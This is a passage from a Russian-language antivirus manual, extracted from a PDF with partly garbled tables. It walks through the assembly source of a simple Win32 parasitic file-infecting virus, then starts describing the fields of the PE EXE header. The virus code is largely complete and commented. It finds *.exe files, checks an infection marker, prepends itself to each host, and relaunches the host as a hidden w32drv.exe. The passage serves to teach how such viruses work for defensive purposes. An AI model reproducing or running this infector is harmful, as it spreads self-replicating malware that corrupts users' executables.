Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
181 |
|
|
3) выполняется поиск первого файла по маске «*.exe» и сохранение хэндла поиска.
Перейдем ко второму блоку:
;----------------------------------------------
infect:
push |
00000004h |
; Страница для чтения/записи |
push |
00001000h |
; |
push |
dword ptr[find_file+file_size] |
; Количество резервируемой памяти |
push |
0h |
; Система сама решает, где |
|
|
; брать память |
call |
VirtualAlloc |
|
cmp |
eax,0 |
|
je |
End_it |
; Память закончилась |
mov |
dword ptr [mHnd],eax |
; Сохраняем хэндл на память |
;---------------------------------------------- |
|
|
push |
0 |
|
push |
00000080h |
|
push |
3 |
|
push |
0 |
|
push |
00000001h |
|
push |
80000000h |
|
push |
offset find_file+Find_data_name |
|
call |
CreateFileA |
; Открываем найденный файл |
|
|
; для чтения |
cmp |
eax,-1 |
|
je |
infErrOutC |
; Что-то он не открывается |
mov |
dword ptr [fHnd],eax |
; Сохраняем хэндл |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr [find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
push |
dword ptr [fHnd] |
|
call |
ReadFile |
; Читаем весь файл в память |
push |
dword ptr [fHnd] |
; Закрываем файл |
call |
CloseHandle |
|
check: |
|
|
mov |
eax,dword ptr [mHnd] |
|
add |
eax,600h |
|
cmp |
dword ptr [eax],0002aee8h |
; Проверка на инфицированность |
je |
f_next |
|
;---------------------------------------------- |
|
|
В начале данного блока выделяется память в количестве, равном размеру найденного файла. Затем открываем найденный файл для чтения и читаем его в память. После этого файл закрываем. Стоит поподробнее обсудить проверку на
182 |
Windows вирусы |
|
|
инфицированность. Если найденный файл уже заражен, то 4 байта в памяти по смещению 600h совпадут со следующими байтами: 0002aee8h. Если файл заражен, ищем следующий.
Теперь третий блок:
;---------------------------------------------- |
|
|
push |
0 |
; Копируем вирус в найденный файл |
push |
offset find_file + Find_data_name ; |
|
push |
offset host_name |
; |
call |
CopyFileA |
; |
;---------------------------------------------- |
|
|
xor |
eax,eax |
|
push |
eax |
|
push |
00000080h |
|
push |
3 |
|
push |
eax |
|
push |
00000001h OR 00000002h |
|
push |
40000000h OR 80000000h |
|
lea |
eax,find_file+Find_data_name |
|
push |
eax |
|
call |
CreateFileA |
; Открываем файл на чтение/запись |
cmp |
eax,-1 |
|
je |
End_it |
; Что-то не открывается |
mov |
dword ptr [fHnd],eax |
; Сохраняем хэндл |
push |
0 |
|
push |
1000h |
|
push |
dword ptr [fHnd] |
|
call |
_llseek |
; Переходим на конец вируса |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr[find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
push |
dword ptr [fHnd] |
; Дописываем оригинальный файл |
call |
WriteFile |
; после вируса |
push |
00004000h |
|
push |
dword ptr [find_file+file_size] |
|
push |
dword ptr [mHnd] |
|
call |
VirtualFree |
; Освобождаем память |
infErrOutC: |
|
|
push |
dword ptr [fHnd] |
; Закрываем файл |
call |
CloseHandle |
|
;---------------------------------------------- |
|
|
Данный блок довольно большой, но не стоит этого пугаться: для понимания он прозрачен. Сначала вирус копируется в найденный файл. После этого дописывается этот файл, который был предварительно прочитан в память, и в конце блока освобождается память, закрывается файл.
Windows вирусы |
183 |
|
|
Очередь четвертого блока:
;---------------------------------------------- |
|
|
find_next: |
|
|
Call |
Fnext |
; Вызов процедуры поиска |
|
|
; следующего файла |
cmp |
eax,0 |
; Если файлы кончились, |
jne |
infect |
; значит двигаемся к выходу |
End_it: |
|
|
push |
offset [Fhandle] |
; Закрываем поиск |
call |
FindClose |
; |
call |
restore |
; Вызываем процедуру запуска |
|
|
; оригинальной программы |
push |
0 |
; |
call |
ExitProcess |
; Завершение программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего |
|
|
; файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; Положим в стек смещение |
|
|
; íà find_file |
push |
[Fhandle] |
; Положим в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска |
|
|
; следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
В этом блоке идет поиск и инфицирование всех файлов в текущем каталоге. После того как файлы закончились, вызывается процедура запуска оригинальной программы, и, когда возвращается управление из этой процедуры, работа вируса завершается.
Пятый блок:
;----------------------------------------------
restore:
xor |
eax,eax |
|
push |
eax |
|
push |
00000080h |
|
push |
3 |
|
push |
eax |
|
push |
00000001h |
|
push |
80000000h |
|
mov |
eax,offset host_name |
|
push |
eax |
|
call |
CreateFileA |
; Откроем сами себя для чтения |
cmp |
eax,-1 |
|
je |
konec |
; Не открывается |
184 |
|
Windows вирусы |
|
|
|
mov |
dword ptr [fHnd2],eax |
; Сохраняем хэндл |
push |
0 |
; |
push |
1000h |
; |
push |
eax |
; Переходим к концу вируса |
call |
_llseek |
; |
push |
0 |
; |
push |
dword ptr[fHnd2] |
; Узнаем размер файла, из которого |
call |
GetFileSize |
; мы стартовали |
cmp |
eax,-1 |
; Если ошибки, то на выход |
je |
konec |
; |
sub |
eax,1000h |
; Отнимем от полученного размера |
mov |
dword ptr[fsize],eax |
; длину вируса |
cmp |
eax,0h |
; Если после вируса нет |
je |
konec |
; программы, то двигаемся на выход |
push |
00000004h |
; |
push |
00001000h |
; Выделяем память для |
push |
dword ptr[fsize] |
; оригинальной программы |
push |
0h |
; |
call |
VirtualAlloc |
|
cmp |
eax,0 |
|
je |
konec |
; Памяти нет, плохо... |
mov |
dword ptr [mHnd2],eax |
; Сохраняем хэндл памяти |
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr [fsize] |
|
push |
dword ptr [mHnd2] |
|
push |
dword ptr [fHnd2] |
|
call |
ReadFile |
; Читаем оригинальную |
|
|
; программу в память |
push |
dword ptr [fHnd2] |
; Закрываем файл |
call |
CloseHandle |
|
xor |
eax,eax |
|
push |
eax |
|
push |
00000020h |
|
push |
1 |
|
push |
eax |
|
push |
00000001h OR 00000002h |
|
push |
40000000h |
|
lea |
eax,tmp1 |
|
push |
eax |
|
call |
CreateFileA |
; Создаем новый файл с |
|
|
; именем w32drv.exe |
cmp |
eax,-1 |
; |
je |
konec |
; Не вышло - на выход |
mov |
dword ptr [fHnd2],eax |
; Сохраняем хэндл |
Windows вирусы |
|
185 |
|
|
|
push |
0 |
|
mov |
dword ptr [size2Read],0 |
|
lea |
eax,size2Read |
|
push |
eax |
|
push |
dword ptr[fsize] |
|
push |
dword ptr [mHnd2] |
|
push |
dword ptr [fHnd2] |
; Записываем оригинальную |
call |
WriteFile |
; программу в файл w32drv.exe |
cmp |
eax,-1 |
; |
je |
konec |
; Что-то не пишется |
|
|
; движемся к выходу |
push |
dword ptr [fHnd2] |
; Закрываем файл |
call |
CloseHandle |
; |
push |
00004000h |
|
push |
dword ptr [fsize] |
|
push |
dword ptr [mHnd2] |
|
call |
VirtualFree |
; Освобождаем память |
push |
1 |
; |
push |
offset tmp1 |
; |
Call |
WinExec |
; Запускаем файл w32drv.exe |
push |
2 |
; |
push |
offset tmp1 |
; Устанавливаем атрибут у |
|
|
; файла "скрытый" |
call |
SetFileAttributesA |
; |
push |
offset tmp1 |
; Пытаемся удалить файл w32drv.exe |
call |
DeleteFileA |
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
Представленный выше блок — самый большой в этом вирусе и хорошо комментированный. Поэтому его мы рассмотрим не слишком подробно. Смысл работы данного блока заключается в том, что оригинальная программа, которая находится сразу после тела вируса, читается в память. Затем создается файл с именем w32drv.exe. В этот файл копируется эта программа из памяти.
На этом глава о простейших вирусах типа «паразит» заканчивается. Стоит лишь отметить, что вирусы таких типов как overwriter, companion, parasitic (по крайней мере, простейшие варианты данных вирусов) для разных ОС функционально практически идентичны. Их главным различием является лишь то, что используются специфические для каждой операционной системы функции.
Лечение данного типа вирусов не отличается от их DOS-аналогов.
3.1. Простейшие *.EXE вирусы
Традиционным методом инфицирования win32 *.exe файлов, как и их братьев DOS *.exe, является модификация заголовка. Но модификация заголовка при инфицировании PE EXE файла гораздо более сложная. Сначала рассмотрим структуру заголовка PE EXE файла, а после этого перейдем к алгоритму инфицирования.
186 |
Windows вирусы |
|
|
Microsoft решила оставить у запускаемых файлов расширение EXE, а, чтобы не было проблем, начальным заголовком сделать запускаемый файл MS-DOS. У них это получилось, вот краткая схема названного:
Полная структура PE EXE файла
00h |
DOS 2 Header |
Совместимый заголовок (форматированная часть), бу- |
|
дем считать, что его формат всем известен |
|||
|
|
|
|
|
4 байта, выравнивающие форматированную область заголовка с 1Ch |
||
1Ch |
до 20h. Ничто не мешает им там не присутствовать, но у Microsoft |
||
они описаны. Это позволяет заголовку файла иметь красивый размер |
|||
|
|||
|
в 2 параграфа... |
|
|
|
|
|
|
|
|
Другими словами, информация о программе практиче- |
|
|
OEM Identifier |
ски никогда не присутствует, однако место должно |
|
20h |
быть зарезервировано. Я встречал файлы с заполнен- |
||
|
OEM Info |
ным полем. Наверное, их делали люди, буквально со- |
|
|
|
||
|
|
блюдающие требования документации от Microsoft |
|
|
|
|
|
|
Offset to |
Смещение реального PE заголовка в файле, DWord, |
|
3Ch |
присутствует именно здесь. Заголовок выравнивается |
||
PE Header |
|||
|
на 8-байтовую границу относительно начала файла |
||
|
|
||
|
|
|
|
|
Релокейшены программы-заглушки, у стандартного STUB'а их нет. На |
||
|
это поле указывает ReloOfs заголовка DOS 2 Header. Соответственно |
||
min 40h |
его значение должно быть >=40h, иначе такой файл как кандидат в |
||
|
PE рассматриваться вообще не будет. На самом деле загрузчику без- |
||
|
различно фактическое их положение |
||
|
|
|
|
|
Собственно говоря, тело DOS-программы, иначе говоря STUB'a, чаще |
||
|
всего говорит о невозможности запуска, но может содержать в себе |
||
|
очень разрушительные вещи, как то поиск в PATH и запуск файла |
||
min 40h + xxh |
WIN.COM с указанием имени данного файла, причем без предупреж- |
||
|
дений, что, конечно же, весьма неприятно. 40h есть нижняя граница |
||
|
данного поля. Она может, собственно говоря, находиться сколь угодно |
||
|
выше. Это зависит от размера заголовка |
||
|
|
|
|
|
|
Здесь находится заголовок PE файла или, другими |
|
XXh |
PE Header |
словами, начинается сама 32-битная программа. По |
|
идее, он должен быть выровнен на 8-байтовую грани- |
|||
|
|
||
|
|
цу. Пусть так и будет |
|
|
|
|
|
XXh |
Object Table |
Таблица описаний секций файла. Подробнее далее |
|
|
|
|
|
|
Image Pages |
|
|
|
import info |
|
|
|
export info |
|
|
XXh |
fixup info |
Остальная часть запускаемого файла... |
|
|
resource info |
|
|
|
debug info |
|
|
|
etc... |
|
|
|
|
|
|
|
|
|
|
Windows вирусы |
187 |
|
|
Для проверки на возможность файла быть в формате PE необходимо, чтобы он был, во-первых, EXE (байты по смещению 0h равны 5A4Dh), во-вторых, слово по смещению 18h должно быть >=40h, тогда, и только тогда, поле DWord по смещению 3Ch имеет смысл. Загрузчик Windows файлы с заголовком 'ZM' — 4D5Ah не считает валидными 32-битными программами.
Описание полей PE-заголовка
Смеще- |
Размер |
Èìÿ ïîëÿ |
Êîì. |
Краткое описание |
|
íèå |
èëè òèï |
||||
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Сигнатурка того, что этот файл является |
|
|
|
Signature |
|
PE должна быть 4550h, иначе — 'PE',0h,0h; |
|
00h |
DWord |
Íåò |
два последних байта под что-то там Micro- |
||
Bytes |
|||||
|
|
|
soft зарезервировала (и проверяет их равен- |
||
|
|
|
|
||
|
|
|
|
ñòâî íà 0!) |
|
|
|
|
|
|
|
|
|
|
|
Это поле указывает на предпочтительный |
|
04h |
Word |
CPU Type |
Äà |
тип процессора, на котором желательно за- |
|
пускать данную программу. Вы редко уви- |
|||||
|
|
|
|
||
|
|
|
|
дите что-либо отличное от 14Ch -> i386 |
|
|
|
|
|
|
|
06h |
Word |
Num |
Íåò |
Это поле указывает на число реальных вхо- |
|
of Objects |
äîâ â Object Table |
||||
|
|
|
|||
|
|
|
|
|
|
08h |
DWord |
Time/Date |
Íåò |
Используется для хранения даты и времени |
|
Stamp |
создания/модификации линкером |
||||
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Дополнительный указатель, определяющий |
|
0Ch |
DWord |
Pointer to |
Íåò |
местонахождение отладочной COFF табли- |
|
COFF table |
цы в файлах. Отладочную информацию луч- |
||||
|
|
|
|||
|
|
|
|
ше всего искать по-другому |
|
|
|
|
|
|
|
10h |
DWord |
COFF table |
Íåò |
Количество символов в COFF таблице |
|
size |
|||||
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Размер заголовка PE файла, начиная с поля |
|
14h |
Word |
NT Header |
Íåò |
Magic, название взято у программы Hiew. |
|
Size |
Таким образом, общий размер заголовка PE |
||||
|
|
|
|||
|
|
|
|
файла составляет NT Header Size + 18h |
|
|
|
|
|
|
|
16h |
Word |
Flags |
Äà |
Указывает на предназначение программы. |
|
Конкретное назначение флагов см. ниже |
|||||
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Поле указывает на основное предназначе- |
|
18h |
Word |
Magic |
Äà |
ние программы. Абсолютно всем наплевать |
|
|
|
|
|
íà íåãî |
|
|
|
|
|
|
|
1Ah |
Byte |
Link Major |
Íåò |
Старший номер версии использовавшегося |
|
при создании линкера |
|||||
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
188 |
|
|
|
|
|
|
|
Windows вирусы |
|
|
|
|
|
|
|||||
|
|
|
|
Продолжение описания полей PE-заголовка |
|||||
|
|
|
|
|
|
|
|
|
|
Смеще- |
Размер |
Èìÿ ïîëÿ |
Êîì. |
|
Краткое описание |
|
|||
íèå |
èëè òèï |
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
Младший номер версии использовавшегося |
||||
1Bh |
Byte |
Link Minor |
Íåò |
|
при создании линкера эти два поля загруз- |
||||
|
|
|
|
|
чик пока игнорирует) |
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
Размер именно программного кода в файле |
||||
|
|
|
|
|
KERNEL использует это значение для фак- |
||||
|
|
|
|
|
тического отведения памяти под загружае- |
||||
1Ch |
DWord |
Size of Code |
Íåò |
|
мую программу. Установка этого значения |
||||
|
|
|
|
|
слишком маленьким приведет к выдаче иди- |
||||
|
|
|
|
|
отского сообщения о нехватке памяти, хотя |
||||
|
|
|
|
|
ее может быть достаточно |
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
Размер секции инициализированных дан- |
||||
20h |
DWord |
Size of Init |
Íåò |
|
ных. Очевидно, |
не используется |
â Win- |
||
Data |
|
dows'95, но используется в NT. Назначение |
|||||||
|
|
|
|
||||||
|
|
|
|
|
аналогично приведенному выше |
|
|||
|
|
|
|
|
|
||||
|
|
|
|
|
Размер секции неинициализированных дан- |
||||
|
|
|
|
|
ных. Сложно сказать, как эти три поля кор- |
||||
|
|
Size of UnInit |
|
|
респондируют |
между собой, но |
лучше с |
||
24h |
DWord |
Íåò |
|
ними по честному... Явно видно, что фор- |
|||||
Data |
|
||||||||
|
|
|
|
мат разрабатывали одни, а реализовывали |
|||||
|
|
|
|
|
|||||
|
|
|
|
|
его другие. Рекомендую изучить регионы |
||||
|
|
|
|
|
памяти и VirtualXXX функции |
|
|||
|
|
|
|
|
|
||||
|
|
|
|
|
Адрес относительно Image Base, по которо- |
||||
28h |
DWord |
Entry point |
Íåò |
|
му передается управление при запуске про- |
||||
RVA |
|
граммы или адрес инициализации/завер- |
|||||||
|
|
|
|
||||||
|
|
|
|
|
шения библиотеки |
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
RVA секция, которая содержит програм- |
||||
2Ch |
DWord |
Base of Code |
Íåò |
|
мный код (как будто бы она одна-единст- |
||||
|
венная). Судя по всему, никем не использу- |
||||||||
|
|
|
|
|
|||||
|
|
|
|
|
ется (но установлено верно) |
|
|||
|
|
|
|
|
|
||||
|
|
|
|
|
RVA секции, содержащей якобы данные. |
||||
30h |
DWord |
Base of Data |
Íåò |
|
В реальных exe-файлах указывает и на |
||||
|
|
|
|
|
.data, è íà .bss |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Виртуальный |
начальный |
адрес |
загрузки |
|
34h |
DWord |
Image Base |
Íåò |
|
программы (ее |
первого |
байта). |
Должен |
|
|
быть на границе 64 кб (связано с системой |
||||||||
|
|
|
|
|
|||||
|
|
|
|
|
памяти Windows'95) |
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
Выравнивание программных секций. Дол- |
||||
|
|
|
|
|
жно быть степенью 2 между 512 и 256М |
||||
38h |
DWord |
Object Align |
Íåò |
|
включительно, что также связано с систе- |
||||
|
|
|
|
|
мой памяти. При использовании других |
||||
|
|
|
|
|
значений программа не загрузится |
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Windows вирусы |
|
|
|
|
|
|
|
189 |
|
|
|
|
|
|
|||||
|
|
|
|
Продолжение описания полей PE-заголовка |
|||||
|
|
|
|
|
|
|
|
|
|
Смеще- |
Размер |
Èìÿ ïîëÿ |
Êîì. |
|
|
Краткое описание |
|||
íèå |
èëè òèï |
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Фактор, |
используемый |
äëÿ |
выравнивания |
|
|
|
|
|
|
секций в программном файле. В байтовом |
||||
|
|
|
|
|
значении указывает на границу, на которую |
||||
|
|
|
|
|
секции дополняются 0 при размещении в |
||||
|
|
|
|
|
файле. Большое значение приводит к нера- |
||||
3Ch |
DWord |
File Align |
Íåò |
|
циональному использованию дискового про- |
||||
|
странства, увеличивает |
компактность, но |
|||||||
|
|
|
|
|
|||||
|
|
|
|
|
снижает скорость загрузки. Должен быть |
||||
|
|
|
|
|
степенью 2 в диапазоне от 512 до 64К |
||||
|
|
|
|
|
включительно. |
Прочие |
значения вызовут |
||
|
|
|
|
|
ошибку загрузки файла. По-моему, размер |
||||
|
|
|
|
|
файла более важен |
|
|
||
|
|
|
|
|
|
||||
|
|
|
|
|
Старший номер версии ОС, необходимый |
||||
40h |
Word |
OS Major |
Íåò |
|
для запуска программы (нулевое значение |
||||
|
не позволяет запустить программу, осталь- |
||||||||
|
|
|
|
|
|||||
|
|
|
|
|
ные игнорируются проверялось на OSR2) |
||||
|
|
|
|
|
|
|
|||
42h |
Word |
OS Minor |
Íåò |
|
Младший номер версии ОС |
|
|||
|
|
|
|
|
|
||||
|
|
|
|
|
Пользовательский номер версии. Задается |
||||
44h |
Word |
USER Major |
Íåò |
|
пользователем при линковке программы и |
||||
|
|
|
|
|
им же используется |
|
|
||
|
|
|
|
|
|
|
|||
46h |
Word |
USER Minor |
Íåò |
|
Аналогично. Младший номер |
|
|||
|
|
|
|
|
|
||||
48h |
Word |
SubSys Major |
Íåò |
|
Старший номер версии подсистемы. Неиз- |
||||
|
вестно, как он используется |
|
|||||||
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|||
4Ah |
Word |
SubSys Minor |
Íåò |
|
Аналогично. Младший номер |
|
|||
|
|
|
|
|
|
||||
4Ch |
DWord |
Reserved |
Íåò |
|
Судя по всему, так оно и есть |
||||
|
|
|
|
|
|
||||
|
|
|
|
|
Виртуальный размер в байтах всего загру- |
||||
50h |
DWord |
Image Size |
Íåò |
|
жаемого образа вместе с заголовками, кра- |
||||
|
|
|
|
|
òåí Object Align |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
54h |
DWord |
Header Size |
Íåò |
|
Общий |
размер |
âñåõ |
заголовков: DOS |
|
|
Stub + PE Header + Object Table |
||||||||
|
|
|
|
|
|||||
|
|
|
|
|
|
||||
|
|
|
|
|
Контрольная сумма всего файла. Опять же, |
||||
|
|
File Check- |
|
|
как и в DOS'е, ее ничто не контролирует, а |
||||
58h |
DWord |
Íåò |
|
линкер ее ставит в 0 при линковке. Предпо- |
|||||
Sum |
|
||||||||
|
|
|
|
лагалось ее рассчитывать как инверсию |
|||||
|
|
|
|
|
|||||
|
|
|
|
|
суммы всех байтов файла |
|
|||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
Операционная |
подсистема, |
необходимая |
||
5Ch |
Word |
SubSytem |
Äà |
|
для запуска данного файла (GUI, кон- |
||||
|
|
|
|
|
ñîëü...) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
190 |
|
|
|
|
Windows вирусы |
|
|
|
|
|
|
|
|
|
|
Продолжение описания полей PE-заголовка |
|
|
|
|
|
|
|
Смеще- |
Размер |
Èìÿ ïîëÿ |
Êîì. |
|
Краткое описание |
íèå |
èëè òèï |
|
|||
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Указывает на специальные потребности при |
5Eh |
Word |
DLL Flags |
Äà |
|
загрузке. Начиная с NT 3.5 устарел и не |
|
|
|
|
|
используется |
|
|
|
|
|
|
|
|
|
|
|
Память, требуемая для стека приложения. |
|
|
|
|
|
Память резервируется, но выделяется толь- |
|
|
|
|
|
ко Stack Commit Size байтов, следующая |
|
|
|
|
|
страница является охранной. Когда прило- |
60h |
DWord |
Stack Reserve |
Íåò |
|
жение достигает этой страницы, то страни- |
Size |
|
ца становится доступной, а следующая |
|||
|
|
|
|
||
|
|
|
|
|
страница — охранной, и так до достижения |
|
|
|
|
|
нижней границы, после чего Windows'95 |
|
|
|
|
|
убивает программу с сообщениями об иск- |
|
|
|
|
|
лючении у нее в стеке |
|
|
|
|
|
|
64h |
DWord |
Stack Commit |
Íåò |
|
Объем памяти, отводимой в стеке сразу по- |
Size |
|
сле загрузки |
|||
|
|
|
|
||
|
|
|
|
|
|
68h |
DWord |
Heap Reserve |
Íåò |
|
Максимально возможный размер локально- |
Size |
|
ãî õèïà |
|||
|
|
|
|
||
|
|
|
|
|
|
6Ch |
DWord |
Heap Comit |
Íåò |
|
Отводимый при загрузке хип |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
? начиная с NT 3.5, объявлено неиспользу- |
70h |
DWord |
Loader Flags |
Íåò |
|
емым. Назначение неясно, но в целом свя- |
|
|
|
|
|
зано с поддержкой отладки |
|
|
|
|
|
|
|
|
|
|
|
Указывает размер массива VA/Size кото- |
|
|
Num of RVA |
|
|
рый следует ниже. Данная возможность за- |
74h |
DWord |
Íåò |
|
резервирована под будущие расширения |
|
and Sizes |
|
||||
|
|
|
|
формата. В данный момент его значение |
|
|
|
|
|
|
|
|
|
|
|
|
всегда равно 10h |
|
|
|
|
|
|
78h |
DWord |
Export Table |
Íåò |
|
RVA адрес таблицы экспорта |
RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
7Ch |
DWord |
Export Data |
Íåò |
|
Размер таблицы экспорта |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
80h |
DWord |
Import Table |
Íåò |
|
RVA адрес таблицы импорта |
RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
84h |
DWord |
Import Data |
Íåò |
|
Размер таблицы импорта |
Size |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
88h |
DWord |
Resource Tab- |
Íåò |
|
RVA адрес таблицы ресурсов |
le RVA |
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
